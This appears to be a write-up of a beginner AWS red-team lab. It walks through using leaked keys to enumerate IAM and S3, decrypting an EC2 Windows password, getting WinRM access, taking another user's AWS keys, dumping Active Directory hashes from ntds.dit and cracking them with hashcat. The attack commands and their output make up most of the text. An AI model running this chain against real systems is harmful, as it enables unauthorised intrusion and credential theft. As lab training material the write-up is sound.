Pwned Labs: Leverage Insecure Storage and Backups for Profit (AWS)
Lab info
Platform: Pwned Labs / Direct Lab Link
- Difficulty: Beginner
- Focus: Red Team
Scenario
Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics' cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure.
Entry point
- VPN connection pack
- AWS Access Key ID AKIAWHEOTHRFRH64EQRI and corresponding Secret Access Key
All the tools required for this lab (except for the AWS CLI) should already be available on a fresh Kali Linux installation. You can find installation links in the Toolbox section at the bottom of the page.
Enumeration
Set keys with aws configure. Then run aws sts get-caller-identity to verify that credentials are working.
aws sts get-caller-identity
{
"UserId": "AIDAWHEOTHRFTEMEHGPPY",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/contractor"
}
This shows that we are logged in as the contractor user. Next, check for IAM policies that are directly attached to this user.
iam list-attached-user-policies --user-name contractor
{
"AttachedPolicies": [
{
"PolicyName": "Policy",
"PolicyArn": "arn:aws:iam::427648302155:policy/Policy"
}
]
}
There is one policy named Policy. Let’s take a look at it.
aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy
{
"Policy": {
"PolicyName": "Policy",
"PolicyId": "ANPAWHEOTHRFXRFIVBEXM",
"Arn": "arn:aws:iam::427648302155:policy/Policy",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-07-27T17:39:55+00:00",
"UpdateDate": "2023-07-28T14:24:22+00:00",
"Tags": []
}
}
The default version of this policy is V4. Let’s retrieve that policy version.
aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "ec2:DescribeInstances",
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "ec2:GetPasswordData",
"Resource": "arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5"
},
{
"Sid": "VisualEditor2",
"Effect": "Allow",
"Action": [
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:GetUserPolicy",
"iam:ListAttachedUserPolicies",
"s3:GetBucketPolicy"
],
"Resource": [
"arn:aws:iam::427648302155:user/contractor",
"arn:aws:iam::427648302155:policy/Policy",
"arn:aws:s3:::hl-it-admin"
]
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2023-07-28T14:24:22+00:00"
}
}
According to the policy, we have access to following actions:
- List and view all EC2 instances within the account.
- Retrieve the password data for the EC2 instance i-04cc1c2c7ec1af1b5.
- Obtain information about the IAM policy attached to our current IAM user (which we leveraged earlier).
- Retrieve the S3 bucket policy for hl-it-admin.
Next, let's check the hl-it-admin bucket policy. We can use jq to format the output for better readability.
aws s3api get-bucket-policy --bucket hl-it-admin | jq -r '.Policy | fromjson'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::427648302155:user/contractor"
},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip"
}
]
}
The bucket policy indicates that the contractor user is authorized to download the ssh_keys_backup.zip file, so we proceed to retrieve it.
aws s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip .
download: s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip to ./ssh_keys_backup.zip
Unfortunately, we cannot list any other files in the bucket.
aws s3 ls hl-it-admin
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:iam::427648302155:user/contractor is not authorized to perform: s3:ListBucket on resource: "arn:aws:s3:::hl-it-admin" because no identity-based policy allows the s3:ListBucket action
Next, we need to unzip the downloaded file.
unzip ssh_keys_backup.zip
Archive: ssh_keys_backup.zip
inflating: audit.pem
inflating: contractor.pem
inflating: contractor.ppk
inflating: iam-audit.pem
inflating: it-admin.pem
inflating: jenkins.pem
inflating: octopus-deploy.pem
inflating: sunita-adm.pem
inflating: viewer-dev.pem
inflating: viewer-dev.ppk
It appears that we have extracted several private keys. Let’s keep that in mind. Now, using the information previously obtained from arn:aws:iam::427648302155:policy/Policy, let’s try to enumerate the instances in the us-east-1 region.
aws ec2 describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[Tags[?Key==`Name`].Value | [0],InstanceId,Platform,State.Name,PrivateIpAddress,PublicIpAddress,KeyName]' --region us-east-1
[
[
"Backup",
"i-04cc1c2c7ec1af1b5",
"windows",
"running",
"172.31.93.149",
"54.226.75.125",
"it-admin"
],
[
"External",
"i-04a13bebeb74c8ac9",
null,
"running",
"172.31.84.235",
"52.0.51.234",
"ian-content-static-5"
]
]
There are two instances. Since the policy indicates that we are permitted to perform the ec2:GetPasswordData action on instance i-04cc1c2c7ec1af1b, our next step is to get the password. To do so, we need to provide the corresponding private key. We have several candidate keys available from the zip file, but it is unclear which one is valid.
To determine the correct key, we can iterate through them by running the aws ec2 get-password-data command in a loop.
for key in $(ls *.pem); do aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key $key --region us-east-1; done
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
{
"InstanceId": "i-04cc1c2c7ec1af1b5",
"Timestamp": "2024-12-01T07:51:43+00:00",
"PasswordData": "UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!"
}
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
We should also enumerate all open ports on the target. Let's use Nmap for this.
nmap 54.226.75.125 -Pn -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-05 20:58 CET
Nmap scan report for ec2-54-226-75-125.compute-1.amazonaws.com (54.226.75.125)
Host is up (0.15s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 59.85 seconds
It appears that only the WinRM (Windows Remote Management) port is open. We can try to connect to the machine. The default username for Windows instances is Administrator.
EC2 access via WinRM
Let's connect to the machine with the credentials we retrieved earlier.
evil-winrm -i 54.226.75.125 -u Administrator -p 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS The term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.\n
+ CategoryInfo : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException\n
+ FullyQualifiedErrorId : CommandNotFoundException>
Attempting to connect to the EC2 instance results in an error. It appears that the PowerShell cmdlet Invoke-Expression is being executed automatically by Evil-WinRM during the connection process. Based on what we can find while researching the issue, the system environment is likely restricted, possibly through JEA (Just Enough Administration).
There are several ways to work around this issue. The simplest and most reliable approach is to write a small Ruby script that executes a command after connecting and prints the output to the terminal. The script winrm-connect.rb is shown below.
#!/usr/bin/env ruby
require 'winrm'
endpoint = 'http://54.226.75.125:5985/wsman'
user = 'Administrator'
password = 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
command = ARGV.join(" ")
if ARGV.length < 1
puts 'Use: ruby connect.rb <command>'
exit
end
conn = WinRM::Connection.new(endpoint: endpoint, user: user, password: password)
conn.shell(:cmd) do |shell|
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
EC2 enumeration
Let's find out what users are available on the machine.
ruby winrm-connect.rb 'dir c:\users'
Volume in drive C has no label.
Volume Serial Number is 3C76-3B3A
Directory of c:\users
07/28/2023 11:35 AM <DIR> .
07/28/2023 11:35 AM <DIR> ..
03/24/2025 08:53 PM <DIR> admin
01/31/2025 05:39 AM <DIR> Administrator
12/12/2018 07:44 AM <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 15,677,116,416 bytes free
There is an admin user. Let's check the contents of their directory.
ruby winrm-connect.rb 'dir c:\users\admin'
Volume in drive C has no label.
Volume Serial Number is 3C76-3B3A
Directory of c:\users\admin
03/24/2025 08:53 PM <DIR> .
03/24/2025 08:53 PM <DIR> ..
07/28/2023 11:38 AM <DIR> .aws
07/28/2023 11:35 AM <DIR> 3D Objects
07/28/2023 11:35 AM <DIR> Contacts
07/28/2023 11:35 AM <DIR> Desktop
07/28/2023 11:35 AM <DIR> Documents
07/28/2023 11:35 AM <DIR> Downloads
07/28/2023 11:35 AM <DIR> Favorites
07/28/2023 11:35 AM <DIR> Links
07/28/2023 11:35 AM <DIR> Music
07/28/2023 11:35 AM <DIR> Pictures
07/28/2023 11:35 AM <DIR> Saved Games
07/28/2023 11:35 AM <DIR> Searches
07/28/2023 11:35 AM <DIR> Videos
0 File(s) 0 bytes
15 Dir(s) 15,677,116,416 bytes free
It looks like there is an .aws directory that might contain a credentials file. Let's check.
ruby winrm-connect.rb 'type c:\users\admin\.aws\credentials'
[default]
aws_access_key_id = AKIAWHEOTHRFT5Q4524N
aws_secret_access_key = <SNIPPED>
Indeed, the file contains the Access Key and Secret Access Key.
Lateral movement
Set the new keys using aws configure --profile admin, then run aws sts get-caller-identity --profile admin to verify that the credentials are working.
aws sts get-caller-identity --profile admin
{
"UserId": "AIDAWHEOTHRFWB4TQKI2X",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/it-admin"
}
S3 Bucket
Let's check which files are available in the bucket we inspected earlier.
aws s3 ls hl-it-admin --recursive --profile admin
2023-07-28 14:35:38 0 backup-2807/
2023-07-28 17:52:58 33554432 backup-2807/ad_backup/Active Directory/ntds.dit
2023-07-28 17:53:07 16384 backup-2807/ad_backup/Active Directory/ntds.jfm
2023-07-28 17:53:06 65536 backup-2807/ad_backup/registry/SECURITY
2023-07-28 17:52:58 17825792 backup-2807/ad_backup/registry/SYSTEM
2023-07-27 17:51:45 99 contractor_accessKeys.csv
2023-07-28 13:50:49 0 docs/
2023-07-28 13:51:07 10591957 docs/veeam_backup_12_agent_management_guide.pdf
2023-07-28 13:51:09 9408343 docs/veeam_backup_12_cloud_administrator_guide.pdf
2023-07-28 13:47:07 32 flag.txt
2023-07-27 17:53:06 0 installer/
2023-07-27 23:02:47 1579290624 installer/Veeam.iso
2023-07-27 19:34:24 0 ssh_keys/
2023-07-28 15:48:18 17483 ssh_keys/ssh_keys_backup.zip
We can see that there are several files available in the bucket, including flag.txt, which concludes the lab.
aws s3 cp s3://hl-it-admin/flag.txt . --profile admin
download: s3://hl-it-admin/flag.txt to ./flag.txt
Beyond the flag
There are also other interesting files in the bucket:
- contractor_accessKeys.csv, which contains credentials for our initial user, contractor.
- backup-2807 directory, which contains backup files.
Let's download that backup directory recursively.
aws s3 cp s3://hl-it-admin/backup-2807/ . --recursive --profile admin
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.jfm to ad_backup/Active Directory/ntds.jfm
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SECURITY to ad_backup/registry/SECURITY
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SYSTEM to ad_backup/registry/SYSTEM
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.dit to ad_backup/Active Directory/ntds.dit
The files we are interested in are ntds.dit and SYSTEM. A brief explaination of what the files are:
- ntds.dit - the Active Directory database file that stores all domain user accounts, password hashes and other AD objects.
- SYSTEM - a Windows registry hive that contains system configuration data, including the keys neeeded to decrypt password hashes from ntds.dit file.
Extracting hashes from NTDS.dit
We can use impacket-secretsdump to extract the hashes from these files and save them to the hashdump.txt file.
impacket-secretsdump -ntds "ad_backup/Active Directory/ntds.dit" -system "ad_backup/registry/SYSTEM" LOCAL > hashdump.txt
Next, we can grep the saved file for the empty LM hash (aad3b435b51404eeaad3b435b51404ee) to extract only the lines we are interested in. We then save them to hashes.txt, which will later be used as an input file for Hashcat.
cat hashdump.txt | grep aad3b435b51404eeaad3b435b51404ee > hashes.txt
Cracking hashes
Let's crack the hashes with hashcat tool using the rockyou.txt wordlist. We can also provide the --username switch to tell Hashcat that the file includes usernames. This will help us to identify which password belongs to which user. Since these are NTLM hashes, we will use Hashcat's -m 1000 module.
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --username
hashcat (v7.1.2) starting
<SNIPPED>
c52abb1e14677d7ea228fcc1171ed7b7:daniel
89c99393bfe3c0a95deba6dcb0b12b43:123abc
a4a02c448197f67cd9e982a5e5d0acc3:rabbit
1674049edd3d39cead200b0fee90982a:knight
89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc
4d4df769e6b9b338fabda5846cf85792:fucking
31d6cfe0d16ae931b73c59d7e0c089c0:
58a478135a93ac3bf058a5ea0e8fdb71:Password123
We can now list the recovered passwords together with their associated usernames.
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --username --show
Mixing --show with --username or --dynamic-x can cause exponential delay in output.
Administrator:58a478135a93ac3bf058a5ea0e8fdb71:Password123
Guest:31d6cfe0d16ae931b73c59d7e0c089c0:
huge-logistics.local\hali.lombard:4d4df769e6b9b338fabda5846cf85792:fucking
huge-logistics.local\ketty.carma:1674049edd3d39cead200b0fee90982a:knight
huge-logistics.local\lanette.kiele:89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc
huge-logistics.local\blair.rosabella:a4a02c448197f67cd9e982a5e5d0acc3:rabbit
huge-logistics.local\rebeca.juliette:c52abb1e14677d7ea228fcc1171ed7b7:daniel
mssql_svc:89c99393bfe3c0a95deba6dcb0b12b43:123abc
As we can see, the Guest account does not have a password set, most likely because the account is disabled, since its NT hash corresponds to the hash of an empty string (31d6cfe0d16ae931b73c59d7e0c089c0).
References
- EC2 User Guide - Connect to your Windows instance using RDP
- Hashcat Wiki: Example hashes
- Microsoft Learn: Just Enough Administration
Toolbox
- Amazon: aws-cli
- Kali Linux Tools: Evil-WinRM
- Kali Linux Tools: Hashcat
- Kali Linux Tools: Impacket
- Kali Linux Tools: Nmap
- Kali Linux Tools: Wordlists